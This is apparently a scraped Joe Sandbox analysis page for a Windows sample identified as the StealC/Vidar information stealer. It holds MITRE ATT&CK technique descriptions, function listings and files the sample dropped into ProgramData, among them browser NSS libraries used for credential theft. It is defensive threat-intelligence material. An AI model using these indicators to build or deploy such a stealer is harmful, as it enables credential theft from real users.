Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Eae0KTw4m1.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\CBAKJKJJJECFIEBFHIEG

C:\ProgramData\DBKFHCFB

C:\ProgramData\DGHDHIDGHIDGIECBKKJJJEHCFC

C:\ProgramData\EHJJKFCBGIDGHIECGCBKFHIEBG

C:\ProgramData\FHCAEGCBFHJDGCBFHDAF

C:\ProgramData\KECBGCGCGIEGCBFHIIEBFCAFHI

C:\ProgramData\KFBAECBA

C:\ProgramData\KKJKKJJKJEGIECAKJJEB

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

Windows Analysis Report
Eae0KTw4m1.exe

Function 007245C0 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Function 00739860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 0072BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 6C5C35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Function 00734910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 00739C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00727710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Function 00730250 Relevance: 77.4, APIs: 32, Strings: 12, Instructions: 363
stringmemoryCOMMON

Function 00725100 Relevance: 53.1, APIs: 22, Strings: 8, Instructions: 569
stringnetworkmemoryCOMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre